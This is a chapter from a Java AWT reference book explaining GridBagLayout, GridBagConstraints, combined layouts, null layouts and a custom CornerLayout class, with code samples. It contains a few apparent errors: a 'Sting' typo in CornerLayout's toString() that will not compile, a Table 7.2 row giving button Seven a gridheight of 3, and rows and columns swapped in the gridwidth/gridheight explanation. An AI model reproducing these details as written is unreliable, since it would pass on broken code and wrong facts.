The GridBagLayout is the most complex and flexible of the standard layout managers. Although it sounds like it should be a subclass of GridLayout, it's a different animal entirely. With GridLayout, elements are arranged in a rectangular grid, and each element in the container is sized identically (where possible). With GridBagLayout, elements can have different sizes and can occupy multiple rows or columns. The position and behavior of each element is specified by an instance of the GridBagConstraints class. By properly constraining the elements, you can specify the number of rows and columns an element occupies, which element grows when additional screen real estate is available, and various other restrictions. The actual grid size is based upon the number of components within the GridBagLayout and the GridBagConstraints of those objects. For example, Figure 7.8 shows a GridBagLayout with seven components, arranged on a 3x3 grid. The maximum capacity of a screen using GridBagLayout in Java 1.0 is 128 x 128 cells; in Java 1.1, the maximum size is 512 x 512 cells.

Figure 7.8: GridBagLayout with seven components on a 3x3 grid

[Graphic: Figure 7-8]

With the other layout managers, adding a component to the container requires only a call to add(). In Java 1.0, the GridBagLayout also requires you to call setConstraints() to tell the layout manager how to position the component. With Java 1.1, you use the new add() method that permits you to pass the component and its constraints in a single method call (add(Component, Object)). If no components are added with constraints (thus all using the defaults), the GridBagLayout places the components in a single row at the center of the screen and sizes them to their getPreferredSize(). This is a nice way to place a single object in the center of the screen without stretching it to take up the available space, as BorderLayout does. Figure 7.9 compares the default GridBagLayout with a BorderLayout displaying the same object in the center region.

Figure 7.9: Centering a component: GridBagLayout vs. BorderLayout

[Graphic: Figure 7-9]

When designing a container that will use GridBagLayout, it is easiest to plan what you want on graph paper, and then determine how the constraints should be set. The alternative, adding the components to the layout and then tweaking the constraints until you have something you like, could lead to premature baldness. Seriously, a trial-and-error approach to getting the constraints right will certainly be frustrating and will probably fail. Figure 7.10, using the same GridBagLayout used in Figure 7.8, indicates how the layout manager counts cells. The partial code used to create the screen follows in Example 7.2.

Example 7.2: Creating a GridBagLayout

public void init() {
    Button b;
    GridBagLayout gb = new GridBagLayout();
    GridBagConstraints gbc = new GridBagConstraints();
    setLayout(gb);
    try {
/* Row One - Three button */
        b = new Button ("One");
        addComponent (this, b, 0, 0, 1, 1,
                GridBagConstraints.NONE, GridBagConstraints.CENTER);
        b = new Button ("Two");
        addComponent (this, b, 1, 0, 1, 1,
                GridBagConstraints.NONE, GridBagConstraints.CENTER);
        b = new Button ("Three");
        addComponent (this, b, 2, 0, 1, 1,
                GridBagConstraints.NONE, GridBagConstraints.CENTER);
/* Row Two - Two buttons */
        b = new Button ("Four");
        addComponent (this, b, 0, 1, 2, 1,
                GridBagConstraints.NONE, GridBagConstraints.CENTER);
        b = new Button ("Five");
        addComponent (this, b, 2, 1, 1, 2,
                GridBagConstraints.NONE, GridBagConstraints.CENTER);
/* Row Three - Two buttons */
        b = new Button ("Six");
        addComponent (this, b, 0, 2, 1, 1,
                GridBagConstraints.NONE, GridBagConstraints.CENTER);
        b = new Button ("Seven");
        addComponent (this, b, 1, 2, 1, 1,
                GridBagConstraints.NONE, GridBagConstraints.CENTER);
    } catch (Exception e) {
        e.printStackTrace();
    }
}

Figure 7.10: How GridBagLayout counts rows and columns

[Graphic: Figure 7-10]

Most of the work in Example 7.2 is done by the helper method addComponent(), which creates a set of constraints, applies them to a component, and adds the component to a container. The code for addComponent() appears in GridBagConstraints; its signature is:

public static void addComponent (Container container, Component component,
        int gridx, int gridy, int gridwidth, int gridheight, int fill,
        int anchor) throws AWTException ;

The top left cell in the layout has location (0,0). There's nothing very surprising about buttons one, two, three, six, and seven. They occupy a 1x1 area on the layout's 3x3 grid. Button four occupies a 2x1 area; it is placed at location (0,1), and thus occupies this cell plus the cell at (1,1). Likewise, button five occupies a 1x2 area, and takes up the cells at (2,1) and (2,2). The total size of the layout is determined entirely by the components that are placed in it and their constraints.

GridBagLayout Methods

Variables

There are a handful of instance variables for GridBagLayout. They are not initialized until the container whose layout is GridBagLayout has been validated.

public int columnWidths[]

The columnWidths[] array contains the widths of the components in the row with the most elements. The values of this array are returned by the getLayoutDimensions() method. You can access the array directly, but it is not recommended.

public int rowHeights[]

The rowHeights[] array contains the heights of the components in the column with the most elements. The values of this array are returned by the getLayoutDimensions() method. You can access the array directly, but it is not recommended.

public double columnWeights[]

The columnWeights[] array contains the weightx values of the components in the row with the most elements. The values of this array are returned by the getLayoutWeights() method. You can access the array directly, but it is not recommended.

public double rowWeights[]

The row Weights[] array contains the weighty values of the components in the column with the most elements. The values of this array are returned by the getLayoutWeights() method. You can access the array directly, but it is not recommended.

Constructors

public GridBagLayout ()

The constructor for GridBagLayout creates an instance of GridBagLayout with default GridBagConstraints behavior. An internal table is used to keep track of the components added to the layout.

LayoutManager methods

public void addLayoutComponent (String name, Component component)

The addLayoutComponent() method of GridBagLayout does nothing. This method is not deprecated, unlike the similarly named methods in the other layout managers that implement LayoutManager2.

public void removeLayoutComponent (Component component)

The removeLayoutComponent() method of GridBagLayout does nothing.

public Dimension preferredLayoutSize (Container target)

The preferredLayoutSize() method calculates the preferred dimensions of the components of target. Sizing is based on the constraints of the various components. This task is definitely better off left to the computer.

public Dimension minimumLayoutSize (Container target)

The minimumLayoutSize() method calculates the minimum dimensions required to position the components of target. Sizing is based on the constraints of the various components.

public void layoutContainer (Container target)

The layoutContainer() method positions the components within target based upon the constraints of each component. If a component's anchor constraints are invalid, layoutContainer() throws the run-time exception IllegalArgumentException. The process of arranging the components is very complicated and beyond the scope of this book.

LayoutManager2 methods

public void addLayoutComponent (Component component, Object constraints) (New)

This addLayoutComponent() method of GridBagLayout associates the component with the given constraints object. It calls the setConstaints() method.

If name is not a GridBagConstraints, addLayoutComponent() throws the run-time exception IllegalArgumentException.

public abstract Dimension maximumLayoutSize(Container target) (New)

The maximumLayoutSize() method returns a Dimension object with a width and height of Integer.MAX_VALUE. In practice, this means that GridBagLayout doesn't support the concept of maximum size.

public abstract float getLayoutAlignmentX(Container target) (New)

The getLayoutAlignmentX() method says that GridBagLayout containers should be centered horizontally within the area available.

public abstract float getLayoutAlignmentY(Container target) (New)

The getLayoutAlignmentY() method says that GridBagLayout containers should be centered vertically within the area available.

public abstract void invalidateLayout(Container target) (New)

The invalidateLayout() method of GridBagLayout does nothing.

Constraints

public GridBagConstraints getConstraints (Component component)

The getConstraints() method returns a clone of the current constraints for component. This makes it easier to generate constraints for a component based on another component.

public void setConstraints (Component component, GridBagConstraints constraints)

The setConstraints() method changes the constraints on component to a clone of constraints. The system creates a clone() of constraints so you can change the original constraints without affecting component.

Layout

public Point getLayoutOrigin ()

The getLayoutOrigin() method returns the origin for the GridBagLayout. The origin is the top left point within the container at which the components are drawn. Before the container is validated, getLayoutOrigin() returns the Point (0,0). After validation, getLayoutOrigin() returns the actual origin of the layout. The space used by the components within a GridBagLayout may not fill the entire container. You can use the results of getLayoutOrigin() and getLayoutDimensions() to find the layout's actual size and draw a Rectangle around the objects.

public int[][] getLayoutDimensions ()

The getLayoutDimensions() method returns two one-dimensional arrays as a single two-dimensional array. Index 0 is an array of widths (columnWidths instance variable), while index 1 is an array of heights (rowHeights instance variable). Until the layout is validated, these will be empty. After validation, the first array contains the widths of the components in the row with the most elements. The second contains the heights of the components in the column with the most elements. For Figure 7.10, the results would be (38, 51, 48) for widths since the first row has three elements and (21, 21, 21) for the heights since the first (and second) column has three elements in it.

public double[][] getLayoutWeights ()

The getLayoutWeights() method returns two one-dimensional arrays as a single two-dimensional array. Index 0 is an array of column weights (columnWeights instance variable), while index 1 is an array of row weights (rowWeights instance variable). Until the layout is validated, these will be empty. After validation, the first dimension contains all the weightx values of the components in the row with the most elements. The second dimension contains all the weighty values of the components in the column with the most elements. For Figure 7.10, the results would be (0, 0, 0) for weightx since the first row has three elements and (0, 0, 0) for weighty since the first column has three elements in it.

Miscellaneous methods

public Point location (int x, int y)

The location() method returns the Point (0,0) until the container is validated. After validation, this method returns the grid element under the location (x, y), where x and y are in pixels. The results could be used as the gridx and gridy constraints when adding another component.

public String toString ()

The toString() method of GridBagLayout returns the name of the class:

java.awt.GridBagLayout

Previous | Home | Next
CardLayout | Book Index | GridBagConstraints
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 7] 7.7 GridBagConstraints

Previous Chapter 7
Layouts 		Next

7.7 GridBagConstraints

GridBagConstraints are the meat behind the GridBagLayout; they specify how to display components. Unlike other layout managers, which have a built-in idea about what to do with their display, the GridBagLayout is a blank slate. The constraints attached to each component tell the layout manager how to build its display.

Every Component added to a GridBagLayout has a GridBagConstraints object associated with it. When an object is first added to the layout, it is given a default set of constraints (described later in this section). Calling setConstraints() (or add(Component, GridBagConstraints)) applies a new set of constraints to the object. Most people create a helper method to make the setConstraints() calls, passing constraint information as parameters. The helper method used in Example 7.2 follows:

public static void addComponent (Container container, Component component,
    int gridx, int gridy, int gridwidth, int gridheight, int fill,
    int anchor) throws AWTException {
    LayoutManager lm = container.getLayout();
    if (!(lm instanceof GridBagLayout)) {
        throw new AWTException ("Invalid layout" + lm);
    } else {
        GridBagConstraints gbc = new GridBagConstraints ();
        gbc.gridx = gridx;
        gbc.gridy = gridy;
        gbc.gridwidth = gridwidth;
        gbc.gridheight = gridheight;
        gbc.fill = fill;
        gbc.anchor = anchor;
        ((GridBagLayout)lm).setConstraints(component, gbc);
        container.add (component);
    }
}

In Java 1.1, you can make this method slightly cleaner by adding the component and applying the constraints in the same call to add(). To do so, replace the lines calling setConstraints() and add() with this line:

        // Java 1.1 only
        container.add(component, gbc);

GridBagConstraints Methods

Constants and variables

public int anchor

The anchor specifies the direction in which the component will drift in the event that it is smaller than the space available for it. CENTER is the default. Others available are NORTH, SOUTH, EAST, WEST, NORTHEAST, NORTHWEST, SOUTHEAST, and SOUTHWEST.

public final static int CENTER
public final static int EAST
public final static int NORTH
public final static int NORTHEAST
public final static int NORTHWEST
public final static int SOUTH
public final static int SOUTHEAST
public final static int SOUTHWEST
public final static int WEST

Constants used to set the anchor.

public int fill

The value of fill controls the component's resize policy. If fill is NONE (the default), the layout manager tries to give the component its preferred size. If fill is VERTICAL, it resizes in height if additional space is available. If fill is HORIZONTAL, it resizes in width. If fill is BOTH, the layout manager takes advantage of all the space available in either direction. Figure 7.11 demonstrates VERTICAL (A), HORIZONTAL (B), and NONE (C) values; Figure 7.8 demonstrated the use of BOTH.

public final static int NONE
public final static int BOTH
public final static int HORIZONTAL
public final static int VERTICAL

Constants used to set fill.

Figure 7.11: GridBagLayout with fill values of VERTICAL, HORIZONTAL, and NONE

[Graphic: Figure 7-11]

public int gridx
public int gridy

The gridx and gridy variables specify the grid position where this component will be placed. (0,0) specifies the cell at the origin of the screen. Table 7.2 shows the gridx and gridy values for the screen in Figure 7.8.

It isn't necessary to set gridx and gridy to a specific location; if you set these fields to RELATIVE (the default), the system calculates the location for you. According to the comments in the source code, if gridx is RELATIVE, the component appears to the right of the last component added to the layout. If gridy is RELATIVE, the component appears below the last component added to the layout. However, this is misleadingly simple. RELATIVE placement works best if you are adding components along a row or a column. In this case, there are four possibilities to consider:

  • gridx and gridy RELATIVE: components are placed in one row.

  • gridx RELATIVE, gridy constant: components are placed in one row, each to the right of the previous component.

  • gridx constant, gridy RELATIVE: components are placed in one column, each below the previous component.

  • Varying gridx or gridy while setting the other field to RELATIVE appears to start a new row, placing the component as the first element in the row.

public int gridwidth
public int gridheight

gridwidth and gridheight set the number of rows (gridwidth) and columns (gridheight) a particular component occupies. If gridwidth or gridheight is set to REMAINDER, the component will be the last element of the row or column occupying any space that's remaining. Table 7.2 shows the gridwidth and gridheight values for the screen in Figure 7.8. For the components in the last column, the gridwidth values could be REMAINDER. Likewise, gridheight could be set to REMAINDER for the components in the last row.

gridwidth and gridheight may also have the value RELATIVE, which forces the component to be the next to last component in the row or column. Looking back to Figure 7.8: if button six has a gridwidth of RELATIVE, button seven won't appear because button five is the last item in the row, and six is already next to last. If button five has a gridheight of RELATIVE, the layout manager will reserve space below it, so the button can be the next to last item in the column.

public final static int RELATIVE

Constant used for gridx and gridy to request relative placement, and by gridheight and gridwidth to specify the next to last component in a column or row. The behavior of RELATIVE placement can be very counter intuitive; in most cases, you will be better off specifying gridx, gridy, gridheight, and gridwidth explicitly.

public final static int REMAINDER

Constant used for gridwidth and gridheight, to specify that a component should fill the rest of the row or column.

Table 7.2: Demonstrating gridx/gridy/gridwidth/gridheight
Component | gridx | gridy | gridwidth | gridheight
One | 0 | 0 | 1 | 1
Two | 1 | 0 | 1 | 1
Three | 2 | 0 | 1 | 1
Four | 0 | 1 | 2 | 1
Five | 2 | 1 | 1 | 2
Six | 0 | 2 | 1 | 1
Seven | 1 | 2 | 1 | 3

public Insets insets

The insets field specifies the external padding in pixels around the component (i.e., between the component and the edge of the cell, or cells, allotted to it). An Insets object can specify different padding for the top, bottom, left, and right sides of the component.

public int ipadx
public int ipady

ipadx and ipady specify the internal padding within the component. ipadx specifies the extra space to the right and left of the component (so the minimum width increases by 2*ipadx pixels). ipady specifies the extra space above and below the component (so the minimum height increases by 2*ipady pixels).

The difference between insets (external padding) and the ipadx, ipady variables (internal padding) is confusing. The insets don't add space to the component itself; they are external to the component. ipadx and ipady change the component's minimum size, so they do add space to the component itself.

public double weightx
public double weighty

The weightx and weighty variables describe how to distribute any additional space within the container. They allow you to control how components grow (or shrink) when the user resizes the container. If weightx is 0, the component won't get any additional space available in its row. If one or more components in a row have weightx values greater than 0, any extra space is distributed proportionally between them. For example, if one component has a weightx value of 1 and the others are all 0, that one component will get all the additional space. If four components in a row each have weightx values of 1 and the other components have weightx values of 0, the four components each get one quarter of the additional space. weighty behaves similarly. Because weightx and weighty control the distribution of extra space in any row or column, setting either for one component may affect the position of other components.

Constructors

public GridBagConstraints ()

The constructor creates a GridBagConstraints object in which all the fields have their default values. These defaults are shown in the Table 7.3.

Table 7.3: GridBagConstraints Defaults.
Variable | Value | Description
anchor | CENTER | If the component is smaller than the space available, it will be centered within its region.
fill | NONE | The component should not resize itself if extra space is available within its region.
gridx | RELATIVE | The component associated with this constraint will be positioned relative to the last item added. If all components have gridx and gridy RELATIVE, they will be placed in a single row.
gridy | RELATIVE | The component associated with this constraint will be positioned relative to the last item added.
gridwidth | 1 | The component will occupy a single cell within the layout.
gridheight | 1 | The component will occupy a single cell within the layout.
insets | 0x0x0x0 | No extra space is added around the edges of the component.
ipadx | 0 | There is no internal padding for the component.
ipady | 0 | There is no internal padding for the component.
weightx | 0 | The component will not get any extra space, if it is available.
weighty | 0 | The component will not get any extra space, if it is available.

Miscellaneous methods

public Object clone ()

The clone() method creates a clone of the GridBagConstraints so the same GridBagConstraints object can be associated with multiple components.

Previous | Home | Next
GridBagLayout | Book Index | Combining Layouts
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 7] 7.8 Combining Layouts

Previous Chapter 7
Layouts 		Next

7.8 Combining Layouts

If you can't create the display you want with any of the standard layout managers, or you are unable to figure out GridBagLayout, you may want to try combining several different layouts. This technique can often help you build the display you want. Figure 7.12 shows a display that uses three panels and three different layouts.

Here's the source code to generate the display in Figure 7.12:

import java.awt.*;
public class multi extends java.applet.Applet {
    public void init() {
        Panel s = new Panel();
        Panel e = new Panel();
        setLayout (new BorderLayout ());
        add ("North", new Label ("Enter text", Label.CENTER));
        add ("Center", new TextArea ());
        e.setLayout (new GridLayout (0,1));
        e.add (new Button ("Reformat"));
        e.add (new Button ("Spell Check"));
        e.add (new Button ("Options"));
        add ("East", e);
        s.setLayout (new FlowLayout ());
        s.add (new Button ("Save"));
        s.add (new Button ("Cancel"));
        s.add (new Button ("Help"));
        add ("South", s);
    }
}

Figure 7.12: Multipanel screen using several layouts

[Graphic: Figure 7-12]

The display in Figure 7.12 is created by adding four sections to a single BorderLayout. The north region contains a panel with a single Label in it. The panel uses its default LayoutManager, which is a FlowLayout. Why bother with this panel? Why not just add a label at the north position in the BorderLayout? Our strategy gives the label the position and size we want: the label is centered and displayed at its preferred size. If we had added the label directly to the BorderLayout, it would have been left justified and resized to fill the region.

The TextArea has no special requirements, so we added it directly to the center of the BorderLayout.

The three buttons on the right of the screen were arranged in a panel with a GridLayout; then this panel was placed in the east region of the BorderLayout.

To create the buttons at the bottom of the screen, we used another Panel with a FlowLayout. It centers the three buttons and displays them at their preferred size, with a gap between them.

With a little work, we could have created this display using a single Panel with a GridBagLayout. The result would have been more efficient; placing panels within panels has performance implications. Each container in the display has its own peer object, which uses up system resources. Furthermore, in the 1.0 version of AWT, nesting containers complicates event handling. However, using a GridBagLayout would have required much more work: figuring out the right GridBagConstraints for each component would be time consuming and result in code that is harder to understand. Sometimes, it's best to settle for the easy solution: a hybrid layout composed of several simple panels, rather than a single very complex panel.

In Java 1.1, you can make this program even more efficient in its resource usage by using a lightweight component instead of panels. This is particularly easy because the panels in the multipanel screen exist strictly to help with layout and not for partitioning event handling. Therefore, you can define a LightweightPanel that extends Container, with no methods. Use this class instead of Panel. The LightweightPanel allows you to lay out areas without creating unnecessary peers. Here's all the code for the LightweightPanel:

// Java 1.1 only
import java.awt.*;
public class LightweightPanel extends Container {
}

Previous | Home | Next
GridBagConstraints | Book Index | Disabling the LayoutManager
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 7] 7.9 Disabling the LayoutManager

Previous Chapter 7
Layouts 		Next

7.9 Disabling the LayoutManager

To create a container with no layout manager, use null as the argument to setLayout(). If you do this, you must size and position every component individually. In most cases, disabling the LayoutManager is a bad idea because what might look great on one platform could look really bad on another, due to differences in fonts, native components, and other display characteristics. Figure 7.13 displays a container with a disabled LayoutManager; both buttons were positioned by specifying their size and location explicitly.

Figure 7.13: Applet with disabled layout manager

[Graphic: Figure 7-13]

Here's the code that produces Figure 7.13:

import java.awt.Button;
import java.applet.Applet;
public class noLayout extends Applet {
    public void init () {
        setLayout (null);
        Button x = new Button ("Hello");
        add (x);
        x.reshape (50, 60, 50, 70);
        Button y = new Button ("World");
        add (y);
        y.reshape (100, 120, 50, 70);
    }
}

Previous | Home | Next
Combining Layouts | Book Index | Designing Your Own LayoutManager
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 7] 7.10 Designing Your Own LayoutManager

Previous Chapter 7
Layouts 		Next

7.10 Designing Your Own LayoutManager

What if you can't find a LayoutManager that fits your requirements, or you find yourself repeatedly building the same multipanel display? In cases like these, you can build your own layout manager. It's really not that difficult; you only need to implement the five methods of the LayoutManager interface, plus a constructor and any additional methods your design requires. In this section, we'll review the LayoutManager interface and then construct a custom LayoutManager called CornerLayout.

LayoutManager Methods

A custom LayoutManager must implement the following five methods (ten methods if you implement LayoutManager2). For many layout managers, several of these methods can be stubs that don't do anything.

public void addLayoutComponent (String name, Component component)

The addLayoutComponent() method is called by the add(name, component) method of Container. If your new LayoutManager does not have named component areas or does not pass generic positioning information via name, this method will be a stub with no code; you can let the container keep track of the components for you. Otherwise, this method must keep track of the component added, along with the information in name.

How would you implement this method? For layouts that have named component areas (like BorderLayout), you could use a private instance variable to hold the component for each area. For layouts like CardLayout, which lets you refer to individual components by name, you might want to store the components and their names in an internal Hashtable.

public void removeLayoutComponent (Component component)

This method is called by the remove() and removeAll() methods of Container. If you are storing information in internal instance variables or tables, you can remove the information about the given Component from the tables at this point. If you're not keeping track of the components yourself, this method can be a stub that does nothing.

public Dimension preferredLayoutSize (Container target)

This method is called by preferredSize() to calculate the desired size of target.[1] Obviously, the preferred size of the container depends on the layout strategy that you implement. To compute the preferred size, you usually need to call the preferredSize() method of every component in the container.

[1] This is still true in Java 1.1; the new method, getPreferredSize(), just calls the deprecated method, preferredSize().

Computing the preferred size can be messy. However, some layout strategies let you take a shortcut. If your layout policy is "I'm going to cram all the components into the space given to me, whether they fit or not," you can compute the preferred size of your layout simply by calling target.size() or (in Java 1.1) target.getSize().

public Dimension minimumLayoutSize (Container target)

This method is called by minimumSize() to calculate the minimum size of target. The minimum size of the container depends on the layout strategy that you implement. To compute the minimum size, you usually need to call the minimumSize() method of every component in the container.

As with preferredLayoutSize(), you can sometimes save a lot of work by returning target.size().

public void layoutContainer (Container target)

This method is called when target is first displayed and whenever it is resized. It is responsible for arranging the components within the container. Depending upon the type of LayoutManager you are creating, you will either loop through all the components in the container with the getComponent() method or use the named components that you saved in the addLayoutComponent() method. To position and size the components, call their reshape() or setBounds() methods.

A New LayoutManager: CornerLayout

CornerLayout is a simple but useful layout manager that is similar in many respects to BorderLayout. Like BorderLayout, it positions components in five named regions: "Northeast", "Northwest", "Southeast", "Southwest", and "Center". These regions correspond to the four corners of the container, plus the center. The "Center" region has three modes. NORMAL, the default mode, places the "Center" component in the center of the container, with its corners at the inner corner of the other four regions. FULL_WIDTH lets the center region occupy the full width of the container. FULL_HEIGHT lets the center region occupy the full height of the container. You cannot specify both FULL_HEIGHT and FULL_WIDTH; if you did, the "Center" component would overlap the corner components and take over the container. Figure 7.14 shows a CornerLayout in each of these modes.

Not all regions are required. If a complete side is missing, the required space for the container decreases. Ordinarily, the other components would grow to fill this vacated space. However, if the container is sized to its preferred size, so are the components. Figure 7.15 shows this behavior.

Figure 7.14: CornerLayout

[Graphic: Figure 7-14]

Figure 7.15: CornerLayout with missing regions

[Graphic: Figure 7-15]

Example 7.3 is the code for the CornerLayout. It shows the Java 1.0 version of the layout manager. At the end of this section, I show the simple change needed to adapt this manager to Java 1.1.

Example 7.3: The CornerLayout LayoutManager

import java.awt.*;
/**
 * An 'educational' layout. CornerLayout will layout a container
 * using members named "Northeast", "Northwest", "Southeast",
 * "Southwest", and "Center".
 *
 * The "Northeast", "Northwest", "Southeast" and "Southwest" components
 * get sized relative to the adjacent corner's components and
 * the constraints of the container's size. The "Center" component will
 * get any space left over.
 */
public class CornerLayout implements LayoutManager {
    int hgap;
    int vgap;
    int mode;
    public final static int NORMAL = 0;
    public final static int FULL_WIDTH = 1;
    public final static int FULL_HEIGHT = 2;
    Component northwest;
    Component southwest;
    Component northeast;
    Component southeast;
    Component center;

The CornerLayout class starts by defining instance variables to hold the gaps and mode and the components for each corner of the screen. It also defines three constants that control the behavior of the center region: NORMAL, FULL_WIDTH, and FULL_HEIGHT.

    /**
     * Constructs a new CornerLayout.
     */
    public CornerLayout() {
        this (0, 0, CornerLayout.NORMAL);
    }
    public CornerLayout(int mode) {
        this (0, 0, mode);
    }
    public CornerLayout(int hgap, int vgap) {
        this (hgap, vgap, CornerLayout.NORMAL);
    }
    public CornerLayout(int hgap, int vgap, int mode) {
        this.hgap = hgap;
        this.vgap = vgap;
        this.mode = mode;
    }

The constructors for CornerLayout are simple. The default (no arguments) constructor creates a CornerLayout with no gaps; the "Center" region is NORMAL mode. The last constructor, which is called by the other three, stores the gaps and the mode in instance variables.

    public void addLayoutComponent (String name, Component comp) {
        if ("Center".equals(name)) {
            center = comp;
        } else if ("Northwest".equals(name)) {
            northwest = comp;
        } else if ("Southeast".equals(name)) {
            southeast = comp;
        } else if ("Northeast".equals(name)) {
            northeast = comp;
        } else if ("Southwest".equals(name)) {
            southwest = comp;
        }
    }

addLayoutComponent() figures out which region a component has been assigned to, and saves the component in the corresponding instance variable. If the name of the component isn't "Northeast", "Northwest", Southeast", "Southwest", or "Center", the component is ignored.

    public void removeLayoutComponent (Component comp) {
        if (comp == center) {
            center = null;
        } else if (comp == northwest) {
            northwest = null;
        } else if (comp == southeast) {
            southeast = null;
        } else if (comp == northeast) {
            northeast = null;
        } else if (comp == southwest) {
            southwest = null;
        }
    }

removeLayoutComponent() searches for a given component in each region; if it finds the component, removeLayoutComponent() discards it by setting the instance variable to null.

    public Dimension minimumLayoutSize (Container target) {
        Dimension dim = new Dimension(0, 0);
        Dimension northeastDim = new Dimension (0,0);
        Dimension northwestDim = new Dimension (0,0);
        Dimension southeastDim = new Dimension (0,0);
        Dimension southwestDim = new Dimension (0,0);
        Dimension centerDim    = new Dimension (0,0);
        if ((northeast != null) && northeast.isVisible ()) {
            northeastDim = northeast.minimumSize ();
        }
        if ((southwest != null) && southwest.isVisible ()) {
            southwestDim = southwest.minimumSize ();
        }
        if ((center != null) && center.isVisible ()) {
            centerDim = center.minimumSize ();
        }
        if ((northwest != null) && northwest.isVisible ()) {
            northwestDim = northwest.minimumSize ();
        }
        if ((southeast != null) && southeast.isVisible ()) {
            southeastDim = southeast.minimumSize ();
        }
        dim.width = Math.max (northwestDim.width, southwestDim.width) +
                        hgap + centerDim.width + hgap +
                        Math.max (northeastDim.width, southeastDim.width);
        dim.height = Math.max (northwestDim.height, northeastDim.height) +
                        + vgap + centerDim.height + vgap +
                        Math.max (southeastDim.height, southwestDim.height);
        Insets insets = target.insets();
        dim.width += insets.left + insets.right;
        dim.height += insets.top + insets.bottom;
        return dim;
    }

minimumLayoutSize() computes the minimum size of the layout by finding the minimum sizes of all components. To compute the minimum width, minimumLayoutSize() adds the width of the center, plus the greater of the widths of the western regions (northwest and southwest), plus the greater of the widths of the eastern regions (northeast and southeast), then adds the appropriate gaps and insets. The minimum height is computed similarly; the method takes the greater of the minimum heights of the northern regions, the greater of the minimum heights of the southern regions, and adds them to the minimum height of the center region, together with the appropriate gaps and insets.

    public Dimension preferredLayoutSize (Container target) {
        Dimension dim = new Dimension(0, 0);
        Dimension northeastDim = new Dimension (0,0);
        Dimension northwestDim = new Dimension (0,0);
        Dimension southeastDim = new Dimension (0,0);
        Dimension southwestDim = new Dimension (0,0);
        Dimension centerDim    = new Dimension (0,0);
        if ((northeast != null) && northeast.isVisible ()) {
            northeastDim = northeast.preferredSize ();
        }
        if ((southwest != null) && southwest.isVisible ()) {
            southwestDim = southwest.preferredSize ();
        }
        if ((center != null) && center.isVisible ()) {
            centerDim = center.preferredSize ();
        }
        if ((northwest != null) && northwest.isVisible ()) {
            northwestDim = northwest.preferredSize ();
        }
        if ((southeast != null) && southeast.isVisible ()) {
            southeastDim = southeast.preferredSize ();
        }
        dim.width = Math.max (northwestDim.width, southwestDim.width) +
                        hgap + centerDim.width + hgap +
                        Math.max (northeastDim.width, southeastDim.width);
        dim.height = Math.max (northwestDim.height, northeastDim.height) +
                        + vgap + centerDim.height + vgap +
                        Math.max (southeastDim.height, southwestDim.height);
        Insets insets = target.insets();
        dim.width += insets.left + insets.right;
        dim.height += insets.top + insets.bottom;
        return dim;
    }

preferredLayoutSize() computes the preferred size of the layout. The method is almost identical to minimumLayoutSize(), except that it uses the preferred dimensions of each component.

    public void layoutContainer (Container target) {
        Insets insets = target.insets();
        int top = insets.top;
        int bottom = target.size ().height - insets.bottom;
        int left = insets.left;
        int right = target.size ().width - insets.right;
        Dimension northeastDim = new Dimension (0,0);
        Dimension northwestDim = new Dimension (0,0);
        Dimension southeastDim = new Dimension (0,0);
        Dimension southwestDim = new Dimension (0,0);
        Dimension centerDim    = new Dimension (0,0);
        Point topLeftCorner, topRightCorner, bottomLeftCorner,
                        bottomRightCorner;
        if ((northeast != null) && northeast.isVisible ()) {
            northeastDim = northeast.preferredSize ();
        }
        if ((southwest != null) && southwest.isVisible ()) {
            southwestDim = southwest.preferredSize ();
        }
        if ((center != null) && center.isVisible ()) {
            centerDim = center.preferredSize ();
        }
        if ((northwest != null) && northwest.isVisible ()) {
            northwestDim = northwest.preferredSize ();
        }
        if ((southeast != null) && southeast.isVisible ()) {
            southeastDim = southeast.preferredSize ();
        }
        topLeftCorner = new Point (left +
                          Math.max (northwestDim.width, southwestDim.width),
                          top +
                          Math.max (northwestDim.height, northeastDim.height));
        topRightCorner = new Point (right -
                          Math.max (northeastDim.width, southeastDim.width),
                          top +
                          Math.max (northwestDim.height, northeastDim.height));
        bottomLeftCorner = new Point (left +
                          Math.max (northwestDim.width, southwestDim.width),
                          bottom -
                          Math.max (southwestDim.height, southeastDim.height));
        bottomRightCorner = new Point (right  -
                          Math.max (northeastDim.width, southeastDim.width),
                          bottom -
                          Math.max (southwestDim.height, southeastDim.height));
        if ((northwest != null) && northwest.isVisible ()) {
            northwest.reshape (left, top,
                                left + topLeftCorner.x,
                                top + topLeftCorner.y);
        }
        if ((southwest != null) && southwest.isVisible ()) {
            southwest.reshape (left, bottomLeftCorner.y,
                                bottomLeftCorner.x - left,
                                bottom - bottomLeftCorner.y);
       }
        if ((southeast != null) && southeast.isVisible ()) {
            southeast.reshape (bottomRightCorner.x,
                        bottomRightCorner.y,
                        right - bottomRightCorner.x,
                        bottom - bottomRightCorner.y);
        }
        if ((northeast != null) && northeast.isVisible ()) {
            northeast.reshape (topRightCorner.x, top,
                                right - topRightCorner.x,
                                topRightCorner.y);
        }
        if ((center != null) && center.isVisible ()) {
            int x = topLeftCorner.x + hgap;
            int y = topLeftCorner.y + vgap;
            int width = bottomRightCorner.x - topLeftCorner.x - hgap * 2;
            int height = bottomRightCorner.y - topLeftCorner.y - vgap * 2;
            if (mode == CornerLayout.FULL_WIDTH) {
                x = left;
                width = right - left;
            } else if (mode == CornerLayout.FULL_HEIGHT) {
                y = top;
                height = bottom - top;
            }
            center.reshape (x, y, width, height);
        }
    }

layoutContainer() does the real work: it positions and sizes the components in our layout. It starts by computing the region of the target container that we have to work with, which is essentially the size of the container minus the insets. The boundaries of the working area are stored in the variables top, bottom, left, and right. Next, we get the preferred sizes of all visible components and use them to compute the corners of the "Center" region; these are stored in the variables topLeftCorner, topRightCorner, bottomLeftCorner, and bottomRightCorner.

Once we've computed the location of the "Center" region, we can start placing the components in their respective corners. To do so, we simply check whether the component is visible; if it is, we call its reshape() method. After dealing with the corner components, we place the "Center" component, taking into account any gaps (hgap and vgap) and the layout's mode. If the mode is NORMAL, the center component occupies the region between the inner corners of the other components. If the mode is FULL_HEIGHT, it occupies the full height of the screen. If it is FULL_WIDTH, it occupies the full width of the screen.

    public String toString() {
        Sting str;
        switch (mode) {
            case FULL_HEIGHT: str = "tall"; break;
            case FULL_WIDTH: str = "wide"; break;
            default: str = "normal"; break;
        }
        return getClass().getName () + "[hgap=" + hgap + ",vgap=" + vgap +
            ",mode="+str+"]";
    }
}

